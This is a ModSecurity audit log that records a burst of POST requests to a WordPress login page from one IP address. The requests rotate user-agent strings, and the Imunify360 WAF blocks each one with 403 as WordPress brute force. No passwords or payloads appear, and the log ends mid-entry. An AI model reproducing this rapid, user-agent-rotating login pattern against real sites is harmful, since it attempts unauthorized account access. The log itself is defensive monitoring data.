Stopwatch: 1789313943204532 7132 (- - -)
Stopwatch2: 1789313943204532 7132; combined=3309, p1=749, p2=130, p3=0, p4=0, p5=2429, sr=145, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65b20f-Z--
--611fc962-A--
[13/Sep/2026:18:39:03.607129 +0300] aqbDl0hjHs68UzErry1KvgAAAIk 134.185.87.66 44110 127.0.0.1 7081
--611fc962-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--611fc962-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--611fc962-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313943604761 2449 (- - -)
Stopwatch2: 1789313943604761 2449; combined=753, p1=313, p2=110, p3=0, p4=0, p5=329, sr=125, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--611fc962-Z--
--2932c40a-A--
[13/Sep/2026:18:39:04.007584 +0300] aqbDmPut1GUrjaX0wO44XgAAAMk 134.185.87.66 44138 127.0.0.1 7081
--2932c40a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2932c40a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2932c40a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944003543 4167 (- - -)
Stopwatch2: 1789313944003543 4167; combined=1440, p1=540, p2=123, p3=0, p4=0, p5=776, sr=311, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2932c40a-Z--
--e7de8542-A--
[13/Sep/2026:18:39:04.413413 +0300] aqbDmPut1GUrjaX0wO44XwAAANI 134.185.87.66 44144 127.0.0.1 7081
--e7de8542-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e7de8542-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e7de8542-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944410862 2609 (- - -)
Stopwatch2: 1789313944410862 2609; combined=750, p1=326, p2=105, p3=0, p4=0, p5=319, sr=171, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7de8542-Z--
--d9c48228-A--
[13/Sep/2026:18:39:04.827584 +0300] aqbDmPut1GUrjaX0wO44YAAAANM 134.185.87.66 44156 127.0.0.1 7081
--d9c48228-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d9c48228-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d9c48228-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313944824769 2934 (- - -)
Stopwatch2: 1789313944824769 2934; combined=909, p1=385, p2=151, p3=0, p4=0, p5=373, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d9c48228-Z--
--445b774c-A--
[13/Sep/2026:18:39:05.236326 +0300] aqbDmfut1GUrjaX0wO44YgAAAMw 134.185.87.66 44184 127.0.0.1 7081
--445b774c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--445b774c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--445b774c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313945234069 2364 (- - -)
Stopwatch2: 1789313945234069 2364; combined=803, p1=287, p2=147, p3=0, p4=0, p5=369, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--445b774c-Z--
--c413332b-A--
[13/Sep/2026:18:39:05.667510 +0300] aqbDmfut1GUrjaX0wO44ZAAAANE 134.185.87.66 43148 127.0.0.1 7081
--c413332b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 116
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c413332b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c413332b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313945642981 24606 (- - -)
Stopwatch2: 1789313945642981 24606; combined=865, p1=433, p2=115, p3=0, p4=0, p5=317, sr=177, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c413332b-Z--
--c8567a6d-A--
[13/Sep/2026:18:39:06.058425 +0300] aqbDmvut1GUrjaX0wO44ZgAAAME 134.185.87.66 43164 127.0.0.1 7081
--c8567a6d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--c8567a6d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c8567a6d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946055734 2759 (- - -)
Stopwatch2: 1789313946055734 2759; combined=839, p1=434, p2=108, p3=0, p4=0, p5=296, sr=172, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c8567a6d-Z--
--b501b434-A--
[13/Sep/2026:18:39:06.474092 +0300] aqbDmvut1GUrjaX0wO44aAAAAMM 134.185.87.66 43182 127.0.0.1 7081
--b501b434-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b501b434-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b501b434-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946471581 2581 (- - -)
Stopwatch2: 1789313946471581 2581; combined=765, p1=320, p2=128, p3=0, p4=0, p5=317, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b501b434-Z--
--5caeab5d-A--
[13/Sep/2026:18:39:06.866325 +0300] aqbDmvut1GUrjaX0wO44agAAANU 134.185.87.66 43188 127.0.0.1 7081
--5caeab5d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5caeab5d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5caeab5d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313946863973 2420 (- - -)
Stopwatch2: 1789313946863973 2420; combined=1185, p1=837, p2=82, p3=0, p4=0, p5=266, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5caeab5d-Z--
--51daec6c-A--
[13/Sep/2026:18:39:07.253354 +0300] aqbDmxsbgHO3aGL3jiTwrwAAAA4 134.185.87.66 43210 127.0.0.1 7081
--51daec6c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--51daec6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--51daec6c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313947251406 2013 (- - -)
Stopwatch2: 1789313947251406 2013; combined=618, p1=275, p2=77, p3=0, p4=0, p5=266, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--51daec6c-Z--
--3bcc106c-A--
[13/Sep/2026:18:39:07.636293 +0300] aqbDm-ut1GUrjaX0wO44bAAAAMs 134.185.87.66 43232 127.0.0.1 7081
--3bcc106c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3bcc106c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3bcc106c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313947634346 2020 (- - -)
Stopwatch2: 1789313947634346 2020; combined=738, p1=320, p2=83, p3=0, p4=0, p5=335, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3bcc106c-Z--
--898abe3a-A--
[13/Sep/2026:18:39:08.033583 +0300] aqbDnPut1GUrjaX0wO44bgAAANY 134.185.87.66 43250 127.0.0.1 7081
--898abe3a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--898abe3a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--898abe3a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948031397 2299 (- - -)
Stopwatch2: 1789313948031397 2299; combined=674, p1=336, p2=96, p3=0, p4=0, p5=242, sr=179, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--898abe3a-Z--
--5987702b-A--
[13/Sep/2026:18:39:08.428655 +0300] aqbDnPut1GUrjaX0wO44cAAAAMQ 134.185.87.66 43264 127.0.0.1 7081
--5987702b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5987702b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5987702b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948425488 3238 (- - -)
Stopwatch2: 1789313948425488 3238; combined=761, p1=308, p2=198, p3=0, p4=0, p5=255, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5987702b-Z--
--e568fe6a-A--
[13/Sep/2026:18:39:08.814160 +0300] aqbDnPut1GUrjaX0wO44cgAAAMc 134.185.87.66 43276 127.0.0.1 7081
--e568fe6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--e568fe6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e568fe6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948812397 1844 (- - -)
Stopwatch2: 1789313948812397 1844; combined=625, p1=296, p2=78, p3=0, p4=0, p5=251, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e568fe6a-Z--
--a3f36346-A--
[13/Sep/2026:18:39:09.194741 +0300] aqbDnfut1GUrjaX0wO44dAAAAMA 134.185.87.66 43300 127.0.0.1 7081
--a3f36346-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--a3f36346-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a3f36346-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949192958 1850 (- - -)
Stopwatch2: 1789313949192958 1850; combined=660, p1=254, p2=76, p3=0, p4=0, p5=330, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a3f36346-Z--
--8584c824-A--
[13/Sep/2026:18:39:09.575453 +0300] aqbDnfut1GUrjaX0wO44dQAAANc 134.185.87.66 43320 127.0.0.1 7081
--8584c824-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--8584c824-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8584c824-H--
